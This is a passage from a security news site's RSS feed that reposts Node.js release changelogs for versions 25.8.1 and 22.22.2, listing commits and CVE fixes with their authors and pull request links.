<li>[<a href="https://github.com/nodejs/node/commit/f75ec19105"><code>f75ec19105</code></a>] - <strong>util</strong>: assert getCallSites does not invoke Error.prepareStackTrace (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60922" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60922/hovercard">#60922</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d77da9306c"><code>d77da9306c</code></a>] - <strong>util</strong>: fix stylize of special properties in inspect (Ge Gao) <a href="https://github.com/nodejs/node/pull/60479" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60479/hovercard">#60479</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3a4edc8f6d"><code>3a4edc8f6d</code></a>] - <strong>util</strong>: use more defensive code when inspecting error objects (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60139" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60139/hovercard">#60139</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/25c33af752"><code>25c33af752</code></a>] - <strong>util</strong>: mark special properties when inspecting them (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/60131" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60131/hovercard">#60131</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f98b46716"><code>3f98b46716</code></a>] - <strong>vm</strong>: make vm.Module.evaluate() conditionally synchronous (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60205/hovercard">#60205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f64a691493"><code>f64a691493</code></a>] - <strong>win</strong>: upgrade Visual Studio workload from 2019 to 2022 (Jiawen Geng) <a href="https://github.com/nodejs/node/pull/60318" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60318/hovercard">#60318</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e04327954"><code>8e04327954</code></a>] - <strong>worker</strong>: update code examples for <code>node:worker_threads</code> module (fisker Cheung) <a href="https://github.com/nodejs/node/pull/58264" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58264/hovercard">#58264</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4440dcc60"><code>c4440dcc60</code></a>] - <strong>worker</strong>: remove not implemented declarations (Artur Gawlik) <a href="https://github.com/nodejs/node/pull/60655" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60655/hovercard">#60655</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/df4cc62954"><code>df4cc62954</code></a>] - <strong>zlib</strong>: validate write_result array length (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61342" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61342/hovercard">#61342</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-11, Version 25.8.1 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes

[ea87eea71a] - module: fix extensionless CJS files in "type": "module" packages (Matteo Collina) #62083

Commits

[bab750d1b3] - build: do not depend on V8 deps on --without-bundled-v8 builds (Antoine du Hamel) #62033
[b26d1c7fcb] - crypto: make --use-system-ca per-env rather tha...]]></description>
<link>https://tsecurity.de/de/3487704/downloads/2026-03-11-version-2581-current-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487704/downloads/2026-03-11-version-2581-current-aduh95/</guid>
<pubDate>Tue, 05 May 2026 02:03:01 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/ea87eea71a"><code>ea87eea71a</code></a>] - <strong>module</strong>: fix extensionless CJS files in <code>"type": "module"</code> packages (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62083" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62083/hovercard">#62083</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/bab750d1b3"><code>bab750d1b3</code></a>] - <strong>build</strong>: do not depend on V8 deps on <code>--without-bundled-v8</code> builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62033/hovercard">#62033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b26d1c7fcb"><code>b26d1c7fcb</code></a>] - <strong>crypto</strong>: make --use-system-ca per-env rather than per-process (Aditi) <a href="https://github.com/nodejs/node/pull/60678" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60678/hovercard">#60678</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e362635abf"><code>e362635abf</code></a>] - <strong>crypto</strong>: add missing AES dictionaries (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62099/hovercard">#62099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f975db8af"><code>6f975db8af</code></a>] - <strong>crypto</strong>: fix importKey required argument count check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62099/hovercard">#62099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3beaf9c5fc"><code>3beaf9c5fc</code></a>] - <strong>deps</strong>: update amaro to 1.1.8 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62151/hovercard">#62151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53afb0edd8"><code>53afb0edd8</code></a>] - <strong>deps</strong>: update sqlite to 3.52.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62150" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62150/hovercard">#62150</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a13ed052a1"><code>a13ed052a1</code></a>] - <strong>deps</strong>: update merve to 1.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62149" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62149/hovercard">#62149</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c850577b7"><code>2c850577b7</code></a>] - <strong>deps</strong>: patch resb crate (Richard Lau) <a href="https://github.com/nodejs/node/pull/62138" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62138/hovercard">#62138</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37862a6728"><code>37862a6728</code></a>] - <strong>deps</strong>: V8: cherry-pick aa0b288f87cc (Richard Lau) <a href="https://github.com/nodejs/node/pull/62136" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62136/hovercard">#62136</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09191ad8b4"><code>09191ad8b4</code></a>] - <strong>deps</strong>: update ada to 3.4.3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62049" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62049/hovercard">#62049</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d63a178fd"><code>8d63a178fd</code></a>] - <strong>doc</strong>: copyedit <code>addons.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62071" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62071/hovercard">#62071</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83719ffb64"><code>83719ffb64</code></a>] - <strong>doc</strong>: correct <code>util.convertProcessSignalToExitCode</code> validation behavior (René) <a href="https://github.com/nodejs/node/pull/62134" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62134/hovercard">#62134</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eeee7c7fb1"><code>eeee7c7fb1</code></a>] - <strong>doc</strong>: add efekrskl as triager (Efe) <a href="https://github.com/nodejs/node/pull/61876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61876/hovercard">#61876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db150b2e69"><code>db150b2e69</code></a>] - <strong>doc</strong>: fix markdown for <code>expectFailure</code> values (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62100/hovercard">#62100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d55a441e60"><code>d55a441e60</code></a>] - <strong>doc</strong>: add title to index (Aviv Keller) <a href="https://github.com/nodejs/node/pull/62046" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62046/hovercard">#62046</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc46204b48"><code>cc46204b48</code></a>] - <strong>doc</strong>: include url.resolve() in DEP0169 application deprecation (Mike McCready) <a href="https://github.com/nodejs/node/pull/62002" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62002/hovercard">#62002</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1d91a7261e"><code>1d91a7261e</code></a>] - <strong>doc,module</strong>: add missing doc for syncHooks.deregister() (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61959/hovercard">#61959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5198573bee"><code>5198573bee</code></a>] - <strong>http</strong>: fix use-after-free when freeParser is called during llhttp_execute (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62095/hovercard">#62095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f8793f80df"><code>f8793f80df</code></a>] - <strong>lib</strong>: fix source map url parse in dynamic imports (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61990" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61990/hovercard">#61990</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5439d0e0cf"><code>5439d0e0cf</code></a>] - <strong>meta</strong>: bump actions/download-artifact from 7.0.0 to 8.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62063" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62063/hovercard">#62063</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27fd21943a"><code>27fd21943a</code></a>] - <strong>meta</strong>: bump actions/upload-artifact from 6.0.0 to 7.0.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62062" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62062/hovercard">#62062</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b266f3295"><code>5b266f3295</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.14.2 to 2.15.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62064" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62064/hovercard">#62064</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea87eea71a"><code>ea87eea71a</code></a>] - <strong>module</strong>: fix extensionless CJS files in <code>"type": "module"</code> packages (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62083" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62083/hovercard">#62083</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/851228cd60"><code>851228cd60</code></a>] - <strong>sqlite</strong>: handle stmt invalidation (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61877" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61877/hovercard">#61877</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/19efe60548"><code>19efe60548</code></a>] - <strong>src</strong>: expose async context frame debugging helper to JS (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0257e8072f"><code>0257e8072f</code></a>] - <strong>src</strong>: make AsyncWrap subclass internal field counts explicit (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/975dafbe3b"><code>975dafbe3b</code></a>] - <strong>src</strong>: release context frame in AsyncWrap::EmitDestroy (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/61995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61995/hovercard">#61995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f2c08c7888"><code>f2c08c7888</code></a>] - <strong>src</strong>: use validate_ascii_with_errors instead of validate_ascii (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/61122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61122/hovercard">#61122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0278461d83"><code>0278461d83</code></a>] - <strong>stream</strong>: optimize webstreams pipeTo (Mattias Buelens) <a href="https://github.com/nodejs/node/pull/62079" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62079/hovercard">#62079</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d62e95bfa"><code>4d62e95bfa</code></a>] - <strong>stream</strong>: fix brotli error handling in web compression streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bdcaf2865"><code>4bdcaf2865</code></a>] - <strong>stream</strong>: improve Web Compression spec compliance (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a5b1be2045"><code>a5b1be2045</code></a>] - <strong>stream</strong>: fix UTF-8 character corruption in fast-utf8-stream (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61745" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61745/hovercard">#61745</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5632446c4e"><code>5632446c4e</code></a>] - <strong>stream</strong>: fix TransformStream race on cancel with pending write (Marco) <a href="https://github.com/nodejs/node/pull/62040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62040/hovercard">#62040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f90fa9cd1a"><code>f90fa9cd1a</code></a>] - <strong>stream</strong>: accept ArrayBuffer in CompressionStream and DecompressionStream (조수민) <a href="https://github.com/nodejs/node/pull/61913" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61913/hovercard">#61913</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/00319eaa3a"><code>00319eaa3a</code></a>] - <strong>test</strong>: update WPT for url to c928b19ab0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62148" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62148/hovercard">#62148</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/456abc7d20"><code>456abc7d20</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to c9e955840a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62147" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62147/hovercard">#62147</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/82770cb7d3"><code>82770cb7d3</code></a>] - <strong>test</strong>: improve WPT report runner (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cfc847d233"><code>cfc847d233</code></a>] - <strong>test</strong>: update WPT compression to ae05f5cb53 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62107" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62107/hovercard">#62107</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80f78f2737"><code>80f78f2737</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 42e47329fd (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62048/hovercard">#62048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8048e0508c"><code>8048e0508c</code></a>] - <strong>test</strong>: fix skipping behavior for <code>test-runner-run-files-undefined</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62026" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62026/hovercard">#62026</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/699a6214c6"><code>699a6214c6</code></a>] - <strong>tools</strong>: revert timezone update GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62140" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62140/hovercard">#62140</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a453b550c"><code>1a453b550c</code></a>] - <strong>tools</strong>: improve error handling in test426 update script (Rich Trott) <a href="https://github.com/nodejs/node/pull/62121" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62121/hovercard">#62121</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/710dde5ee2"><code>710dde5ee2</code></a>] - <strong>tools</strong>: fix <code>--node-builtin-modules-path</code> value in <code>shell.nix</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62102" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62102/hovercard">#62102</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dcb1cbb21f"><code>dcb1cbb21f</code></a>] - <strong>tools</strong>: bump the eslint group across 1 directory with 2 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62092/hovercard">#62092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d0b758583"><code>7d0b758583</code></a>] - <strong>tools</strong>: fix daily wpt workflow nighly release version lookup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62076/hovercard">#62076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3e8c816f2e"><code>3e8c816f2e</code></a>] - <strong>tools</strong>: fix example in release proposal linter (Richard Lau) <a href="https://github.com/nodejs/node/pull/62074" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62074/hovercard">#62074</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/772d3d270d"><code>772d3d270d</code></a>] - <strong>tools</strong>: bump minimatch from 3.1.3 to 3.1.5 in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62013/hovercard">#62013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92f3b42672"><code>92f3b42672</code></a>] - <strong>tools</strong>: bump eslint to v10, babel to v8.0.0-rc.2 (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/61905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61905/hovercard">#61905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/deead95ec5"><code>deead95ec5</code></a>] - <strong>url</strong>: suppress warnings from url.format/url.resolve inside node_modules (René) <a href="https://github.com/nodejs/node/pull/62005" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62005/hovercard">#62005</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-24, Version 22.22.2 'Jod' (LTS), @RafaelGSS prepared by @aduh95]]></title>
<description><![CDATA[This is a security release.
Notable Changes

(CVE-2026-21637) wrap SNICallback invocation in try/catch (Matteo Collina) - High
(CVE-2026-21710) use null prototype for headersDistinct/trailersDistinct (Matteo Collina) - High
(CVE-2026-21713) use timing-safe comparison in Web Cryptography HMAC (Fil...]]></description>
<link>https://tsecurity.de/de/3487695/downloads/2026-03-24-version-22222-jod-lts-rafaelgss-prepared-by-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487695/downloads/2026-03-24-version-22222-jod-lts-rafaelgss-prepared-by-aduh95/</guid>
<pubDate>Tue, 05 May 2026 02:02:50 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a security release.</p>
<h3>Notable Changes</h3>
<ul>
<li>(<a title="CVE-2026-21637" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-ggxc-26fx-987r/hovercard" href="https://github.com/advisories/GHSA-ggxc-26fx-987r">CVE-2026-21637</a>) wrap <code>SNICallback</code> invocation in <code>try</code>/<code>catch</code> (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>) use null prototype for <code>headersDistinct</code>/<code>trailersDistinct</code> (Matteo Collina) - High</li>
<li>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>) use timing-safe comparison in Web Cryptography HMAC (Filip Skokan) - Medium</li>
<li>(<a title="CVE-2026-21714" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-cfr8-f5q7-84wq/hovercard" href="https://github.com/advisories/GHSA-cfr8-f5q7-84wq">CVE-2026-21714</a>) handle <code>NGHTTP2_ERR_FLOW_CONTROL</code> error code (RafaelGSS) - Medium</li>
<li>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>) test array index hash collision (Joyee Cheung) - Medium</li>
<li>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>) add permission check to <code>realpath.native</code> (RafaelGSS) - Low</li>
<li>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>) include permission check on <code>lib/fs/promises</code> (RafaelGSS) - Low</li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/6f14ee5101"><code>6f14ee5101</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>build,test</strong>: test array index hash collision (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/52a52ef619"><code>52a52ef619</code></a>] - <strong>(<a title="CVE-2026-21713" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-6r7g-3mm3-fhw7/hovercard" href="https://github.com/advisories/GHSA-6r7g-3mm3-fhw7">CVE-2026-21713</a>)</strong> <strong>crypto</strong>: use timing-safe comparison in Web Cryptography HMAC (Filip Skokan) <a href="https://github.com/nodejs-private/node-private/pull/822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/822/hovercard">nodejs-private/node-private#822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30a3ab11e2"><code>30a3ab11e2</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps</strong>: V8: cherry-pick aac14dd95e5b (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e3f4d6a42e"><code>e3f4d6a42e</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps</strong>: V8: backport 1361b2a49d02 (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7dc00fa5f4"><code>7dc00fa5f4</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps</strong>: V8: backport 185f0fe09b72 (Joyee Cheung) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/076acd052d"><code>076acd052d</code></a>] - <strong>(<a title="CVE-2026-21717" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-326m-34v3-gv5p/hovercard" href="https://github.com/advisories/GHSA-326m-34v3-gv5p">CVE-2026-21717</a>)</strong> <strong>deps</strong>: V8: backport 0a8b1cdcc8b2 (snek) <a href="https://github.com/nodejs-private/node-private/pull/809" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/809/hovercard">nodejs-private/node-private#809</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/963c60a951"><code>963c60a951</code></a>] - <strong>deps</strong>: V8: override <code>depot_tools</code> version (Richard Lau) <a href="https://github.com/nodejs/node/pull/62344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62344/hovercard">#62344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a688117d5d"><code>a688117d5d</code></a>] - <strong>deps</strong>: upgrade npm to 10.9.7 (npm team) <a href="https://github.com/nodejs/node/pull/62330" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62330/hovercard">#62330</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/859c8c761b"><code>859c8c761b</code></a>] - <strong>deps</strong>: update undici to v6.24.1 (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62285/hovercard">#62285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5ed384a2f"><code>d5ed384a2f</code></a>] - <strong>deps</strong>: upgrade npm to 10.9.6 (npm team) <a href="https://github.com/nodejs/node/pull/62215" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62215/hovercard">#62215</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2fe9fd81a"><code>a2fe9fd81a</code></a>] - <strong>(<a title="CVE-2026-21710" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-xv6w-gxj8-v943/hovercard" href="https://github.com/advisories/GHSA-xv6w-gxj8-v943">CVE-2026-21710</a>)</strong> <strong>http</strong>: use null prototype for headersDistinct/trailersDistinct (Matteo Collina) <a href="https://github.com/nodejs-private/node-private/pull/821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/821/hovercard">nodejs-private/node-private#821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73deff77c1"><code>73deff77c1</code></a>] - <strong>lib</strong>: backport <code>_tls_common</code> and <code>_tls_wrap</code> refactors (Dario Piotrowicz) <a href="https://github.com/nodejs/node/pull/57643" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57643/hovercard">#57643</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06fc3436f6"><code>06fc3436f6</code></a>] - <strong>(<a title="CVE-2026-21716" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-22vj-v4r3-878v/hovercard" href="https://github.com/advisories/GHSA-22vj-v4r3-878v">CVE-2026-21716</a>)</strong> <strong>permission</strong>: include permission check on lib/fs/promises (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/795/hovercard">nodejs-private/node-private#795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db48d9c675"><code>db48d9c675</code></a>] - <strong>(<a title="CVE-2026-21715" data-hovercard-type="advisory" data-hovercard-url="/advisories/GHSA-8jgr-5cgv-g667/hovercard" href="https://github.com/advisories/GHSA-8jgr-5cgv-g667">CVE-2026-21715</a>)</strong> <strong>permission</strong>: add permission check to realpath.native (RafaelGSS) <a href="https://github.com/nodejs-private/node-private/pull/794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs-private/node-private/pull/794/hovercard">nodejs-private/node-private#794</a></li>
